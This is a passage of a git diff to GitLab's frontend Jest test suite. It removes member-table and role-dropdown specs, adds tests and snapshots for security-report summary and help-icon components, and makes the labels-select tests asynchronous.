- describe('for an inherited member', () => {
- it('returns `false`', () => {
- createComponentWithInheritedMember();
-
- expect(findWrappedComponent().props('permissions').canRemove).toBe(false);
- });
- });
- });
-
- describe('canResend', () => {
- describe('when member type is `invite`', () => {
- it('returns `true` when `canResend` is `true`', () => {
- createComponent({
- member: invite,
- });
-
- expect(findWrappedComponent().props('permissions').canResend).toBe(true);
- });
-
- it('returns `false` when `canResend` is `false`', () => {
- createComponent({
- member: {
- ...invite,
- invite: {
- ...invite,
- canResend: false,
- },
- },
- });
-
- expect(findWrappedComponent().props('permissions').canResend).toBe(false);
- });
- });
-
- describe('when member type is not `invite`', () => {
- it('returns `false`', () => {
- createComponent({ member: memberMock });
-
- expect(findWrappedComponent().props('permissions').canResend).toBe(false);
- });
- });
- });
-
- describe('canUpdate', () => {
- describe('for a direct member', () => {
- it('returns `true` when `canUpdate` is `true`', () => {
- createComponentWithDirectMember({
- canUpdate: true,
- });
-
- expect(findWrappedComponent().props('permissions').canUpdate).toBe(true);
- });
-
- it('returns `false` when `canUpdate` is `false`', () => {
- createComponentWithDirectMember({
- canUpdate: false,
- });
-
- expect(findWrappedComponent().props('permissions').canUpdate).toBe(false);
- });
-
- it('returns `false` for current user', () => {
- createComponentWithDirectMember(memberCurrentUser);
-
- expect(findWrappedComponent().props('permissions').canUpdate).toBe(false);
- });
- });
-
- describe('for an inherited member', () => {
- it('returns `false`', () => {
- createComponentWithInheritedMember();
-
- expect(findWrappedComponent().props('permissions').canUpdate).toBe(false);
- });
- });
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/table/members_table_spec.js b/spec/frontend/vue_shared/components/members/table/members_table_spec.js
deleted file mode 100644
index e593e88438c..00000000000
--- a/spec/frontend/vue_shared/components/members/table/members_table_spec.js
+++ /dev/null
@@ -1,212 +0,0 @@
-import { mount, createLocalVue, createWrapper } from '@vue/test-utils';
-import Vuex from 'vuex';
-import {
- getByText as getByTextHelper,
- getByTestId as getByTestIdHelper,
- within,
-} from '@testing-library/dom';
-import { GlBadge, GlTable } from '@gitlab/ui';
-import MembersTable from '~/vue_shared/components/members/table/members_table.vue';
-import MemberAvatar from '~/vue_shared/components/members/table/member_avatar.vue';
-import MemberSource from '~/vue_shared/components/members/table/member_source.vue';
-import ExpiresAt from '~/vue_shared/components/members/table/expires_at.vue';
-import CreatedAt from '~/vue_shared/components/members/table/created_at.vue';
-import RoleDropdown from '~/vue_shared/components/members/table/role_dropdown.vue';
-import ExpirationDatepicker from '~/vue_shared/components/members/table/expiration_datepicker.vue';
-import MemberActionButtons from '~/vue_shared/components/members/table/member_action_buttons.vue';
-import * as initUserPopovers from '~/user_popovers';
-import { member as memberMock, invite, accessRequest } from '../mock_data';
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('MemberList', () => {
- let wrapper;
-
- const createStore = (state = {}) => {
- return new Vuex.Store({
- state: {
- members: [],
- tableFields: [],
- tableAttrs: {
- table: { 'data-qa-selector': 'members_list' },
- tr: { 'data-qa-selector': 'member_row' },
- },
- sourceId: 1,
- currentUserId: 1,
- ...state,
- },
- });
- };
-
- const createComponent = state => {
- wrapper = mount(MembersTable, {
- localVue,
- store: createStore(state),
- stubs: [
- 'member-avatar',
- 'member-source',
- 'expires-at',
- 'created-at',
- 'member-action-buttons',
- 'role-dropdown',
- 'remove-group-link-modal',
- 'expiration-datepicker',
- ],
- });
- };
-
- const getByText = (text, options) =>
- createWrapper(getByTextHelper(wrapper.element, text, options));
-
- const getByTestId = (id, options) =>
- createWrapper(getByTestIdHelper(wrapper.element, id, options));
-
- const findTable = () => wrapper.find(GlTable);
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe('fields', () => {
- const directMember = {
- ...memberMock,
- source: { ...memberMock.source, id: 1 },
- };
-
- const memberCanUpdate = {
- ...directMember,
- canUpdate: true,
- };
-
- it.each`
- field | label | member | expectedComponent
- ${'account'} | ${'Account'} | ${memberMock} | ${MemberAvatar}
- ${'source'} | ${'Source'} | ${memberMock} | ${MemberSource}
- ${'granted'} | ${'Access granted'} | ${memberMock} | ${CreatedAt}
- ${'invited'} | ${'Invited'} | ${invite} | ${CreatedAt}
- ${'requested'} | ${'Requested'} | ${accessRequest} | ${CreatedAt}
- ${'expires'} | ${'Access expires'} | ${memberMock} | ${ExpiresAt}
- ${'maxRole'} | ${'Max role'} | ${memberCanUpdate} | ${RoleDropdown}
- ${'expiration'} | ${'Expiration'} | ${memberMock} | ${ExpirationDatepicker}
- `('renders the $label field', ({ field, label, member, expectedComponent }) => {
- createComponent({
- members: [member],
- tableFields: [field],
- });
-
- expect(getByText(label, { selector: '[role="columnheader"]' }).exists()).toBe(true);
-
- if (expectedComponent) {
- expect(
- wrapper
- .find(`[data-label="${label}"][role="cell"]`)
- .find(expectedComponent)
- .exists(),
- ).toBe(true);
- }
- });
-
- describe('"Actions" field', () => {
- it('renders "Actions" field for screen readers', () => {
- createComponent({ members: [memberCanUpdate], tableFields: ['actions'] });
-
- const actionField = getByTestId('col-actions');
-
- expect(actionField.exists()).toBe(true);
- expect(actionField.classes('gl-sr-only')).toBe(true);
- expect(
- wrapper
- .find(`[data-label="Actions"][role="cell"]`)
- .find(MemberActionButtons)
- .exists(),
- ).toBe(true);
- });
-
- describe('when user is not logged in', () => {
- it('does not render the "Actions" field', () => {
- createComponent({ currentUserId: null, tableFields: ['actions'] });
-
- expect(within(wrapper.element).queryByTestId('col-actions')).toBe(null);
- });
- });
-
- const memberCanRemove = {
- ...directMember,
- canRemove: true,
- };
-
- describe.each`
- permission | members
- ${'canUpdate'} | ${[memberCanUpdate]}
- ${'canRemove'} | ${[memberCanRemove]}
- ${'canResend'} | ${[invite]}
- `('when one of the members has $permission permissions', ({ members }) => {
- it('renders the "Actions" field', () => {
- createComponent({ members, tableFields: ['actions'] });
-
- expect(getByTestId('col-actions').exists()).toBe(true);
- });
- });
-
- describe.each`
- permission | members
- ${'canUpdate'} | ${[memberMock]}
- ${'canRemove'} | ${[memberMock]}
- ${'canResend'} | ${[{ ...invite, invite: { ...invite.invite, canResend: false } }]}
- `('when none of the members have $permission permissions', ({ members }) => {
- it('does not render the "Actions" field', () => {
- createComponent({ members, tableFields: ['actions'] });
-
- expect(within(wrapper.element).queryByTestId('col-actions')).toBe(null);
- });
- });
- });
- });
-
- describe('when `members` is an empty array', () => {
- it('displays a "No members found" message', () => {
- createComponent();
-
- expect(getByText('No members found').exists()).toBe(true);
- });
- });
-
- describe('when member can not be updated', () => {
- it('renders badge in "Max role" field', () => {
- createComponent({ members: [memberMock], tableFields: ['maxRole'] });
-
- expect(
- wrapper
- .find(`[data-label="Max role"][role="cell"]`)
- .find(GlBadge)
- .text(),
- ).toBe(memberMock.accessLevel.stringValue);
- });
- });
-
- it('initializes user popovers when mounted', () => {
- const initUserPopoversMock = jest.spyOn(initUserPopovers, 'default');
-
- createComponent();
-
- expect(initUserPopoversMock).toHaveBeenCalled();
- });
-
- it('adds QA selector to table', () => {
- createComponent();
-
- expect(findTable().attributes('data-qa-selector')).toBe('members_list');
- });
-
- it('adds QA selector to table row', () => {
- createComponent();
-
- expect(
- findTable()
- .find('tbody tr')
- .attributes('data-qa-selector'),
- ).toBe('member_row');
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/table/role_dropdown_spec.js b/spec/frontend/vue_shared/components/members/table/role_dropdown_spec.js
deleted file mode 100644
index 55ec7000693..00000000000
--- a/spec/frontend/vue_shared/components/members/table/role_dropdown_spec.js
+++ /dev/null
@@ -1,151 +0,0 @@
-import { mount, createWrapper, createLocalVue } from '@vue/test-utils';
-import Vuex from 'vuex';
-import { nextTick } from 'vue';
-import { within } from '@testing-library/dom';
-import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
-import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
-import waitForPromises from 'helpers/wait_for_promises';
-import RoleDropdown from '~/vue_shared/components/members/table/role_dropdown.vue';
-import { member } from '../mock_data';
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-describe('RoleDropdown', () => {
- let wrapper;
- let actions;
- const $toast = {
- show: jest.fn(),
- };
-
- const createStore = () => {
- actions = {
- updateMemberRole: jest.fn(() => Promise.resolve()),
- };
-
- return new Vuex.Store({ actions });
- };
-
- const createComponent = (propsData = {}) => {
- wrapper = mount(RoleDropdown, {
- propsData: {
- member,
- permissions: {},
- ...propsData,
- },
- localVue,
- store: createStore(),
- mocks: {
- $toast,
- },
- });
- };
-
- const getDropdownMenu = () => within(wrapper.element).getByRole('menu');
- const getByTextInDropdownMenu = (text, options = {}) =>
- createWrapper(within(getDropdownMenu()).getByText(text, options));
- const getDropdownItemByText = text =>
- createWrapper(
- within(getDropdownMenu())
- .getByText(text, { selector: '[role="menuitem"] p' })
- .closest('[role="menuitem"]'),
- );
- const getCheckedDropdownItem = () =>
- wrapper
- .findAll(GlDropdownItem)
- .wrappers.find(dropdownItemWrapper => dropdownItemWrapper.props('isChecked'));
-
- const findDropdownToggle = () => wrapper.find('button[aria-haspopup="true"]');
- const findDropdown = () => wrapper.find(GlDropdown);
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('when dropdown is open', () => {
- beforeEach(done => {
- createComponent();
-
- findDropdownToggle().trigger('click');
- wrapper.vm.$root.$on('bv::dropdown::shown', () => {
- done();
- });
- });
-
- it('renders all valid roles', () => {
- Object.keys(member.validRoles).forEach(role => {
- expect(getDropdownItemByText(role).exists()).toBe(true);
- });
- });
-
- it('renders dropdown header', () => {
- expect(getByTextInDropdownMenu('Change permissions').exists()).toBe(true);
- });
-
- it('sets dropdown toggle and checks selected role', () => {
- expect(findDropdownToggle().text()).toBe('Owner');
- expect(getCheckedDropdownItem().text()).toBe('Owner');
- });
-
- describe('when dropdown item is selected', () => {
- it('does nothing if the item selected was already selected', () => {
- getDropdownItemByText('Owner').trigger('click');
-
- expect(actions.updateMemberRole).not.toHaveBeenCalled();
- });
-
- it('calls `updateMemberRole` Vuex action', () => {
- getDropdownItemByText('Developer').trigger('click');
-
- expect(actions.updateMemberRole).toHaveBeenCalledWith(expect.any(Object), {
- memberId: member.id,
- accessLevel: { integerValue: 30, stringValue: 'Developer' },
- });
- });
-
- it('displays toast when successful', async () => {
- getDropdownItemByText('Developer').trigger('click');
-
- await waitForPromises();
-
- expect($toast.show).toHaveBeenCalledWith('Role updated successfully.');
- });
-
- it('disables dropdown while waiting for `updateMemberRole` to resolve', async () => {
- getDropdownItemByText('Developer').trigger('click');
-
- await nextTick();
-
- expect(findDropdown().props('disabled')).toBe(true);
-
- await waitForPromises();
-
- expect(findDropdown().props('disabled')).toBe(false);
- });
- });
- });
-
- it("sets initial dropdown toggle value to member's role", () => {
- createComponent();
-
- expect(findDropdownToggle().text()).toBe('Owner');
- });
-
- it('sets the dropdown alignment to right on mobile', async () => {
- jest.spyOn(bp, 'isDesktop').mockReturnValue(false);
- createComponent();
-
- await nextTick();
-
- expect(findDropdown().attributes('right')).toBe('true');
- });
-
- it('sets the dropdown alignment to left on desktop', async () => {
- jest.spyOn(bp, 'isDesktop').mockReturnValue(true);
- createComponent();
-
- await nextTick();
-
- expect(findDropdown().attributes('right')).toBeUndefined();
- });
-});
diff --git a/spec/frontend/vue_shared/components/members/utils_spec.js b/spec/frontend/vue_shared/components/members/utils_spec.js
deleted file mode 100644
index 3f2b2097133..00000000000
--- a/spec/frontend/vue_shared/components/members/utils_spec.js
+++ /dev/null
@@ -1,122 +0,0 @@
-import {
- generateBadges,
- isGroup,
- isDirectMember,
- isCurrentUser,
- canRemove,
- canResend,
- canUpdate,
- canOverride,
-} from '~/vue_shared/components/members/utils';
-import { member as memberMock, group, invite } from './mock_data';
-
-const DIRECT_MEMBER_ID = 178;
-const INHERITED_MEMBER_ID = 179;
-const IS_CURRENT_USER_ID = 123;
-const IS_NOT_CURRENT_USER_ID = 124;
-
-describe('Members Utils', () => {
- describe('generateBadges', () => {
- it('has correct properties for each badge', () => {
- const badges = generateBadges(memberMock, true);
-
- badges.forEach(badge => {
- expect(badge).toEqual(
- expect.objectContaining({
- show: expect.any(Boolean),
- text: expect.any(String),
- variant: expect.stringMatching(/muted|neutral|info|success|danger|warning/),
- }),
- );
- });
- });
-
- it.each`
- member | expected
- ${memberMock} | ${{ show: true, text: "It's you", variant: 'success' }}
- ${{ ...memberMock, user: { ...memberMock.user, blocked: true } }} | ${{ show: true, text: 'Blocked', variant: 'danger' }}
- ${{ ...memberMock, user: { ...memberMock.user, twoFactorEnabled: true } }} | ${{ show: true, text: '2FA', variant: 'info' }}
- `('returns expected output for "$expected.text" badge', ({ member, expected }) => {
- expect(generateBadges(member, true)).toContainEqual(expect.objectContaining(expected));
- });
- });
-
- describe('isGroup', () => {
- test.each`
- member | expected
- ${group} | ${true}
- ${memberMock} | ${false}
- `('returns $expected', ({ member, expected }) => {
- expect(isGroup(member)).toBe(expected);
- });
- });
-
- describe('isDirectMember', () => {
- test.each`
- sourceId | expected
- ${DIRECT_MEMBER_ID} | ${true}
- ${INHERITED_MEMBER_ID} | ${false}
- `('returns $expected', ({ sourceId, expected }) => {
- expect(isDirectMember(memberMock, sourceId)).toBe(expected);
- });
- });
-
- describe('isCurrentUser', () => {
- test.each`
- currentUserId | expected
- ${IS_CURRENT_USER_ID} | ${true}
- ${IS_NOT_CURRENT_USER_ID} | ${false}
- `('returns $expected', ({ currentUserId, expected }) => {
- expect(isCurrentUser(memberMock, currentUserId)).toBe(expected);
- });
- });
-
- describe('canRemove', () => {
- const memberCanRemove = {
- ...memberMock,
- canRemove: true,
- };
-
- test.each`
- member | sourceId | expected
- ${memberCanRemove} | ${DIRECT_MEMBER_ID} | ${true}
- ${memberCanRemove} | ${INHERITED_MEMBER_ID} | ${false}
- ${memberMock} | ${INHERITED_MEMBER_ID} | ${false}
- `('returns $expected', ({ member, sourceId, expected }) => {
- expect(canRemove(member, sourceId)).toBe(expected);
- });
- });
-
- describe('canResend', () => {
- test.each`
- member | expected
- ${invite} | ${true}
- ${{ ...invite, invite: { ...invite.invite, canResend: false } }} | ${false}
- `('returns $expected', ({ member, sourceId, expected }) => {
- expect(canResend(member, sourceId)).toBe(expected);
- });
- });
-
- describe('canUpdate', () => {
- const memberCanUpdate = {
- ...memberMock,
- canUpdate: true,
- };
-
- test.each`
- member | currentUserId | sourceId | expected
- ${memberCanUpdate} | ${IS_NOT_CURRENT_USER_ID} | ${DIRECT_MEMBER_ID} | ${true}
- ${memberCanUpdate} | ${IS_CURRENT_USER_ID} | ${DIRECT_MEMBER_ID} | ${false}
- ${memberCanUpdate} | ${IS_CURRENT_USER_ID} | ${INHERITED_MEMBER_ID} | ${false}
- ${memberMock} | ${IS_NOT_CURRENT_USER_ID} | ${DIRECT_MEMBER_ID} | ${false}
- `('returns $expected', ({ member, currentUserId, sourceId, expected }) => {
- expect(canUpdate(member, currentUserId, sourceId)).toBe(expected);
- });
- });
-
- describe('canOverride', () => {
- it('returns `false`', () => {
- expect(canOverride(memberMock)).toBe(false);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/registry/__snapshots__/code_instruction_spec.js.snap b/spec/frontend/vue_shared/components/registry/__snapshots__/code_instruction_spec.js.snap
index ecea151fc8a..da49778f216 100644
--- a/spec/frontend/vue_shared/components/registry/__snapshots__/code_instruction_spec.js.snap
+++ b/spec/frontend/vue_shared/components/registry/__snapshots__/code_instruction_spec.js.snap
@@ -47,6 +47,7 @@ exports[`Package code instruction single line to match the default snapshot 1`]
<!---->
<svg
+ aria-hidden="true"
class="gl-button-icon gl-icon s16"
data-testid="copy-to-clipboard-icon"
>
diff --git a/spec/frontend/vue_shared/components/resizable_chart/__snapshots__/skeleton_loader_spec.js.snap b/spec/frontend/vue_shared/components/resizable_chart/__snapshots__/skeleton_loader_spec.js.snap
index 3990248d021..623f7d083c5 100644
--- a/spec/frontend/vue_shared/components/resizable_chart/__snapshots__/skeleton_loader_spec.js.snap
+++ b/spec/frontend/vue_shared/components/resizable_chart/__snapshots__/skeleton_loader_spec.js.snap
@@ -10,6 +10,9 @@ exports[`Resizable Skeleton Loader default setup renders the bars, labels, and g
version="1.1"
viewBox="0 0 400 130"
>
+ <title>
+ Loading
+ </title>
<rect
clip-path="url(#null-idClip)"
height="130"
@@ -226,6 +229,9 @@ exports[`Resizable Skeleton Loader with custom settings renders the correct posi
version="1.1"
viewBox="0 0 400 130"
>
+ <title>
+ Loading
+ </title>
<rect
clip-path="url(#-idClip)"
height="130"
diff --git a/spec/frontend/vue_shared/components/rich_content_editor/rich_content_editor_spec.js b/spec/frontend/vue_shared/components/rich_content_editor/rich_content_editor_spec.js
index d50cf2915e8..cd1157a1c2e 100644
--- a/spec/frontend/vue_shared/components/rich_content_editor/rich_content_editor_spec.js
+++ b/spec/frontend/vue_shared/components/rich_content_editor/rich_content_editor_spec.js
@@ -1,4 +1,5 @@
import { shallowMount } from '@vue/test-utils';
+import { mockEditorApi } from '@toast-ui/vue-editor';
import RichContentEditor from '~/vue_shared/components/rich_content_editor/rich_content_editor.vue';
import AddImageModal from '~/vue_shared/components/rich_content_editor/modals/add_image/add_image_modal.vue';
import InsertVideoModal from '~/vue_shared/components/rich_content_editor/modals/insert_video_modal.vue';
@@ -114,10 +115,17 @@ describe('Rich Content Editor', () => {
});
describe('when editor is loaded', () => {
+ const formattedMarkdown = 'formatted markdown';
+
beforeEach(() => {
+ mockEditorApi.getMarkdown.mockReturnValueOnce(formattedMarkdown);
buildWrapper();
});
+ afterEach(() => {
+ mockEditorApi.getMarkdown.mockReset();
+ });
+
it('adds the CUSTOM_EVENTS.openAddImageModal custom event listener', () => {
expect(addCustomEventListener).toHaveBeenCalledWith(
wrapper.vm.editorApi,
@@ -137,6 +145,11 @@ describe('Rich Content Editor', () => {
it('registers HTML to markdown renderer', () => {
expect(registerHTMLToMarkdownRenderer).toHaveBeenCalledWith(wrapper.vm.editorApi);
});
+
+ it('emits load event with the markdown formatted by Toast UI', () => {
+ expect(mockEditorApi.getMarkdown).toHaveBeenCalled();
+ expect(wrapper.emitted('load')[0]).toEqual([{ formattedMarkdown }]);
+ });
});
describe('when editor is destroyed', () => {
diff --git a/spec/frontend/vue_shared/components/security_reports/__snapshots__/security_summary_spec.js.snap b/spec/frontend/vue_shared/components/security_reports/__snapshots__/security_summary_spec.js.snap
new file mode 100644
index 00000000000..1e08394dd56
--- /dev/null
+++ b/spec/frontend/vue_shared/components/security_reports/__snapshots__/security_summary_spec.js.snap
@@ -0,0 +1,144 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`SecuritySummary component given the message {"countMessage": "%{criticalStart}0 Critical%{criticalEnd} %{highStart}1 High%{highEnd} and %{otherStart}0 Others%{otherEnd}", "critical": 0, "high": 1, "message": "Security scanning detected %{totalStart}1%{totalEnd} potential vulnerability", "other": 0, "status": "", "total": 1} interpolates correctly 1`] = `
+<span>
+ Security scanning detected
+ <strong>
+ 1
+ </strong>
+ potential vulnerability
+ <span
+ class="gl-font-sm"
+ >
+ <span>
+ <span
+ class="gl-pl-4"
+ >
+
+ 0 Critical
+
+ </span>
+ </span>
+
+ <span>
+ <strong
+ class="text-danger-600 gl-px-2"
+ >
+
+ 1 High
+
+ </strong>
+ </span>
+ and
+ <span>
+ <span
+ class="gl-px-2"
+ >
+
+ 0 Others
+
+ </span>
+ </span>
+ </span>
+</span>
+`;
+
+exports[`SecuritySummary component given the message {"countMessage": "%{criticalStart}1 Critical%{criticalEnd} %{highStart}0 High%{highEnd} and %{otherStart}0 Others%{otherEnd}", "critical": 1, "high": 0, "message": "Security scanning detected %{totalStart}1%{totalEnd} potential vulnerability", "other": 0, "status": "", "total": 1} interpolates correctly 1`] = `
+<span>
+ Security scanning detected
+ <strong>
+ 1
+ </strong>
+ potential vulnerability
+ <span
+ class="gl-font-sm"
+ >
+ <span>
+ <strong
+ class="text-danger-800 gl-pl-4"
+ >
+
+ 1 Critical
+
+ </strong>
+ </span>
+
+ <span>
+ <span
+ class="gl-px-2"
+ >
+
+ 0 High
+
+ </span>
+ </span>
+ and
+ <span>
+ <span
+ class="gl-px-2"
+ >
+
+ 0 Others
+
+ </span>
+ </span>
+ </span>
+</span>
+`;
+
+exports[`SecuritySummary component given the message {"countMessage": "%{criticalStart}1 Critical%{criticalEnd} %{highStart}2 High%{highEnd} and %{otherStart}0 Others%{otherEnd}", "critical": 1, "high": 2, "message": "Security scanning detected %{totalStart}3%{totalEnd} potential vulnerabilities", "other": 0, "status": "", "total": 3} interpolates correctly 1`] = `
+<span>
+ Security scanning detected
+ <strong>
+ 3
+ </strong>
+ potential vulnerabilities
+ <span
+ class="gl-font-sm"
+ >
+ <span>
+ <strong
+ class="text-danger-800 gl-pl-4"
+ >
+
+ 1 Critical
+
+ </strong>
+ </span>
+
+ <span>
+ <strong
+ class="text-danger-600 gl-px-2"
+ >
+
+ 2 High
+
+ </strong>
+ </span>
+ and
+ <span>
+ <span
+ class="gl-px-2"
+ >
+
+ 0 Others
+
+ </span>
+ </span>
+ </span>
+</span>
+`;
+
+exports[`SecuritySummary component given the message {"message": ""} interpolates correctly 1`] = `
+<span>
+
+ <!---->
+</span>
+`;
+
+exports[`SecuritySummary component given the message {"message": "foo"} interpolates correctly 1`] = `
+<span>
+ foo
+ <!---->
+</span>
+`;
diff --git a/spec/frontend/vue_shared/components/security_reports/help_icon_spec.js b/spec/frontend/vue_shared/components/security_reports/help_icon_spec.js
new file mode 100644
index 00000000000..60203493cbd
--- /dev/null
+++ b/spec/frontend/vue_shared/components/security_reports/help_icon_spec.js
@@ -0,0 +1,68 @@
+import { GlLink, GlPopover } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import HelpIcon from '~/vue_shared/security_reports/components/help_icon.vue';
+
+const helpPath = '/docs';
+const discoverProjectSecurityPath = '/discoverProjectSecurityPath';
+
+describe('HelpIcon component', () => {
+ let wrapper;
+
+ const createWrapper = props => {
+ wrapper = shallowMount(HelpIcon, {
+ propsData: {
+ helpPath,
+ ...props,
+ },
+ });
+ };
+
+ const findLink = () => wrapper.find(GlLink);
+ const findPopover = () => wrapper.find(GlPopover);
+ const findPopoverTarget = () => wrapper.find({ ref: 'discoverProjectSecurity' });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('given a help path only', () => {
+ beforeEach(() => {
+ createWrapper();
+ });
+
+ it('does not render a popover', () => {
+ expect(findPopover().exists()).toBe(false);
+ });
+
+ it('renders a help link', () => {
+ expect(findLink().attributes()).toMatchObject({
+ href: helpPath,
+ target: '_blank',
+ });
+ });
+ });
+
+ describe('given a help path and discover project security path', () => {
+ beforeEach(() => {
+ createWrapper({ discoverProjectSecurityPath });
+ });
+
+ it('renders a popover', () => {
+ const popover = findPopover();
+ expect(popover.props('target')()).toBe(findPopoverTarget().element);
+ expect(popover.attributes()).toMatchObject({
+ title: HelpIcon.i18n.upgradeToManageVulnerabilities,
+ triggers: 'click blur',
+ });
+ expect(popover.text()).toContain(HelpIcon.i18n.upgradeToInteract);
+ });
+
+ it('renders a link to the discover path', () => {
+ expect(findLink().attributes()).toMatchObject({
+ href: discoverProjectSecurityPath,
+ target: '_blank',
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/security_reports/security_summary_spec.js b/spec/frontend/vue_shared/components/security_reports/security_summary_spec.js
new file mode 100644
index 00000000000..e57152c3cbf
--- /dev/null
+++ b/spec/frontend/vue_shared/components/security_reports/security_summary_spec.js
@@ -0,0 +1,38 @@
+import { GlSprintf } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import SecuritySummary from '~/vue_shared/security_reports/components/security_summary.vue';
+import { groupedTextBuilder } from '~/vue_shared/security_reports/store/utils';
+
+describe('SecuritySummary component', () => {
+ let wrapper;
+
+ const createWrapper = message => {
+ wrapper = shallowMount(SecuritySummary, {
+ propsData: { message },
+ stubs: {
+ GlSprintf,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe.each([
+ { message: '' },
+ { message: 'foo' },
+ groupedTextBuilder({ reportType: 'Security scanning', critical: 1, high: 0, total: 1 }),
+ groupedTextBuilder({ reportType: 'Security scanning', critical: 0, high: 1, total: 1 }),
+ groupedTextBuilder({ reportType: 'Security scanning', critical: 1, high: 2, total: 3 }),
+ ])('given the message %p', message => {
+ beforeEach(() => {
+ createWrapper(message);
+ });
+
+ it('interpolates correctly', () => {
+ expect(wrapper.element).toMatchSnapshot();
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select/base_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select/base_spec.js
index 9db86fa775f..596cb22fca5 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select/base_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select/base_spec.js
@@ -33,8 +33,8 @@ describe('BaseComponent', () => {
expect(vm.hiddenInputName).toBe('issue[label_names][]');
});
- it('returns correct string when showCreate prop is `false`', () => {
- wrapper.setProps({ showCreate: false });
+ it('returns correct string when showCreate prop is `false`', async () => {
+ await wrapper.setProps({ showCreate: false });
expect(vm.hiddenInputName).toBe('label_id[]');
});
@@ -45,8 +45,8 @@ describe('BaseComponent', () => {
expect(vm.createLabelTitle).toBe('Create project label');
});
- it('return `Create group label` when `isProject` prop is false', () => {
- wrapper.setProps({ isProject: false });
+ it('return `Create group label` when `isProject` prop is false', async () => {
+ await wrapper.setProps({ isProject: false });
expect(vm.createLabelTitle).toBe('Create group label');
});
@@ -57,8 +57,8 @@ describe('BaseComponent', () => {
expect(vm.manageLabelsTitle).toBe('Manage project labels');
});
- it('return `Manage group labels` when `isProject` prop is false', () => {
- wrapper.setProps({ isProject: false });
+ it('return `Manage group labels` when `isProject` prop is false', async () => {
+ await wrapper.setProps({ isProject: false });
expect(vm.manageLabelsTitle).toBe('Manage group labels');
});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js
index 8c17a974b39..1206450bbeb 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js
@@ -20,22 +20,24 @@ jest.mock('~/lib/utils/common_utils', () => ({
const localVue = createLocalVue();
localVue.use(Vuex);
-const createComponent = (config = mockConfig, slots = {}) =>
- shallowMount(LabelsSelectRoot, {
- localVue,
- slots,
- store: new Vuex.Store(labelsSelectModule()),
- propsData: config,
- stubs: {
- 'dropdown-contents': DropdownContents,
- },
- });
-
describe('LabelsSelectRoot', () => {
let wrapper;
+ let store;
+
+ const createComponent = (config = mockConfig, slots = {}) => {
+ wrapper = shallowMount(LabelsSelectRoot, {
+ localVue,
+ slots,
+ store,
+ propsData: config,
+ stubs: {
+ 'dropdown-contents': DropdownContents,
+ },
+ });
+ };
beforeEach(() => {
- wrapper = createComponent();
+ store = new Vuex.Store(labelsSelectModule());
});
afterEach(() => {
@@ -45,6 +47,7 @@ describe('LabelsSelectRoot', () => {
describe('methods', () => {
describe('handleVuexActionDispatch', () => {
it('calls `handleDropdownClose` when params `action.type` is `toggleDropdownContents` and state has `showDropdownButton` & `showDropdownContents` props `false`', () => {
+ createComponent();
jest.spyOn(wrapper.vm, 'handleDropdownClose').mockImplementation();
wrapper.vm.handleVuexActionDispatch(
@@ -67,7 +70,7 @@ describe('LabelsSelectRoot', () => {
});
it('calls `handleDropdownClose` with state.labels filterd using `set` prop when dropdown variant is `embedded`', () => {
- wrapper = createComponent({
+ createComponent({
...mockConfig,
variant: 'embedded',
});
@@ -95,6 +98,10 @@ describe('LabelsSelectRoot', () => {
});
describe('handleDropdownClose', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
it('emits `updateSelectedLabels` & `onDropdownClose` events on component when provided `labels` param is not empty', () => {
wrapper.vm.handleDropdownClose([{ id: 1 }, { id: 2 }]);
@@ -112,6 +119,7 @@ describe('LabelsSelectRoot', () => {
describe('handleCollapsedValueClick', () => {
it('emits `toggleCollapse` event on component', () => {
+ createComponent();
wrapper.vm.handleCollapsedValueClick();
expect(wrapper.emitted().toggleCollapse).toBeTruthy();
@@ -121,6 +129,7 @@ describe('LabelsSelectRoot', () => {
describe('template', () => {
it('renders component with classes `labels-select-wrapper position-relative`', () => {
+ createComponent();
expect(wrapper.attributes('class')).toContain('labels-select-wrapper position-relative');
});
@@ -131,7 +140,7 @@ describe('LabelsSelectRoot', () => {
`(
'renders component root element with CSS class `$cssClass` when `state.variant` is "$variant"',
({ variant, cssClass }) => {
- wrapper = createComponent({
+ createComponent({
...mockConfig,
variant,
});
@@ -142,57 +151,58 @@ describe('LabelsSelectRoot', () => {
},
);
- it('renders `dropdown-value-collapsed` component when `allowLabelCreate` prop is `true`', () => {
+ it('renders `dropdown-value-collapsed` component when `allowLabelCreate` prop is `true`', async () => {
+ createComponent();
+ await wrapper.vm.$nextTick;
expect(wrapper.find(DropdownValueCollapsed).exists()).toBe(true);
});
- it('renders `dropdown-title` component', () => {
+ it('renders `dropdown-title` component', async () => {
+ createComponent();
+ await wrapper.vm.$nextTick;
expect(wrapper.find(DropdownTitle).exists()).toBe(true);
});
- it('renders `dropdown-value` component', () => {
- const wrapperDropdownValue = createComponent(mockConfig, {
+ it('renders `dropdown-value` component', async () => {
+ createComponent(mockConfig, {
default: 'None',
});
+ await wrapper.vm.$nextTick;
- return wrapperDropdownValue.vm.$nextTick(() => {
- const valueComp = wrapperDropdownValue.find(DropdownValue);
+ const valueComp = wrapper.find(DropdownValue);
- expect(valueComp.exists()).toBe(true);
